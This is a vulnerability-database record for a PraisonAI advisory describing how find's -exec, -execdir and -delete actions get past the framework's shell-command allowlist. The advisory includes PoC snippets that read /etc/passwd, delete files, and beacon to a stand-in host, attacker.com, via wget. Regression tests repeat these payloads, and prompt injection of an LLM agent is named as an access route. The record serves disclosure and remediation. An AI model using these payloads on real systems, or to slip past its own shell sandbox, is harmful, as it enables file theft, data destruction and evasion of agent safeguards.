{"schema":"threatline.record/2","record":{"id":"CVE-2026-61434","aliases":["GHSA-cv3g-hj65-pcfh","PYSEC-2026-4254"],"summary":"PraisonAI: Shell command allowlist bypass via find -exec built-in action","details":"### Summary\n\nThe shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`'s built-in `-exec` action.\n\nThe fix blocks shell metacharacters (`` ;|&`><$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters — the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).\n\n### Details\n\n**Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked.\n\nHowever, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts):\n\n```\nfind /path -exec <command> {} +\n```\n\nThe `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex.\n\n**Affected components** (4 implementations, same gap):\n\n| # | Component | File | Gap |\n|---|---|---|---|\n| 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist |\n| 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` |\n| 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` |\n| 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` |\n\n**Bypass analysis**:\n\n| Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result |\n|---|---|---|\n| Metachar regex `/[;|&\\`><]/` | `{`, `}`, `+` are not in regex | PASS |\n| Regex `/\\$\\([^)]*\\)/` | No `$(...)` | PASS |\n| `safeCommands.includes('find')` | `find` IS in allowlist | PASS |\n| SandboxExecutor blocked paths | `normalized.includes('/etc/passwd')` → FALSE (path split: `/etc ` + `passwd`) | PASS |\n| `spawn('find', [...], {shell:false})` | find interprets `-execdir` internally | BYPASS |\n\nThe `-execdir` technique also evades the SandboxExecutor's substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string.\n\n**Preconditions**:\n\n| Precondition | How attacker obtains | Default? |\n|---|---|---|\n| Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |\n| `find` binary on target | Standard Unix utility, present on Linux/macOS | Y |\n| `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y |\n\n### PoC\n\n**1. Data exfiltration via -execdir (utility-tools.ts)**\n\n```javascript\nconst { shell } = require('praisonai/dist/tools/utility-tools');\n\nasync function poc() {\n    // Control: direct 'wget' is rejected (not in safeCommands)\n    const control = await shell('wget http://example.com');\n    console.log('[CONTROL] rejected:', !control.success);  // true\n\n    // Bypass: find -execdir reads /etc/passwd via find's built-in action\n    const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');\n    console.log('[BYPASS]:', bypass.success);  // true\n    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...\n}\npoc();\n```\n\nCode path: `safeCommands.includes('find')` → true → `containsShellMetacharacters(...)` → false → `spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false})` → find chdirs to /etc → `cat ./passwd` → exit 0 → `{success: true, data: \"<passwd contents>\"}`.\n\n**2. File deletion**\n\n```javascript\nawait shell('find /app/uploads -name \"*.bak\" -delete');\n// -delete is a find built-in — clean exit 0, files deleted\n```\n\n**3. Non-allowlisted command (side-effect based)**\n\n```javascript\nawait shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');\n// HTTP request fires as side effect before find returns non-zero\n```\n\n**4. Python safe_shell**\n\n```python\nfrom praisonai.cli.features.safe_shell import safe_execute\n\nresult = safe_execute(\"find /etc -name passwd -maxdepth 1 -execdir cat {} +\")\nprint(result.stdout)  # root:x:0:0:root:/root:/bin/bash ...\n```\n\n### Impact\n\nAn attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:\n\n- **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned)\n- **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0)\n- **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code)\n\nShell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes `cat`, `chmod`, `python3`, `curl` etc.\n\nSame severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.\n\n### Suggested fix\n\n**Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix.\n\n**Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags.\n\n**Regression tests**:\n```typescript\ntest('rejects find -exec', async () => {\n    expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);\n});\ntest('rejects find -execdir', async () => {\n    expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);\n});\ntest('rejects find -delete', async () => {\n    expect((await shell('find /app -name \"*.bak\" -delete')).success).toBe(false);\n});\n```\n\n### References\n\n- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)\n- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)\n- Fix commits: 2adfe7e, 2f9677a (2026-06-13)","categories":["Libraries & packages"],"product":"praisonai","vendor":"MervinPraison","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-cv3g-hj65-pcfh","source_modified_at":"2026-10-08T22:00:56Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"praisonai"},"range":"<= 4.6.77"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-61434","source_modified_at":"2026-07-10T14:46:22.280Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"PraisonAI","vendor":"MervinPraison","versions":[{"version":"0","status":"affected","versionType":"semver","lessThan":"4.6.78"},{"version":"4.6.78","status":"unaffected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-cv3g-hj65-pcfh","source_modified_at":"2026-10-15T14:56:03.521702779Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.78"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-cv3g-hj65-pcfh","source_modified_at":"2026-10-08T22:00:56Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"praisonai"},"version":"4.6.78"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-61434","source_modified_at":"2026-07-10T14:46:22.280Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"PraisonAI","ecosystem":null},"version":"4.6.78","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-cv3g-hj65-pcfh","source_modified_at":"2026-10-15T14:56:03.521702779Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"version":"4.6.78"}],"cvss":8.8,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00877,"percentile":0.58652,"score_date":"2026-10-23"},"published_at":"2026-07-10T13:58:05.604Z","modified_at":"2026-10-15T14:56:03.521702779Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-cv3g-hj65-pcfh","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-08T22:00:56Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-61434","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-07-10T14:46:22.280Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-cv3g-hj65-pcfh","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-15T14:56:03.521702779Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61434","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cv3g-hj65-pcfh","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61434","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/praisonai-before-allowlist-bypass-via-find-exec","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-cv3g-hj65-pcfh","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-07-10T14:45:54.802927Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-15T14:56:03.521702779Z","content_hash":"99e67e3a154235840d7c34c3ec9de563eef1f4e3ceb29962b1e478debf02bf65"}}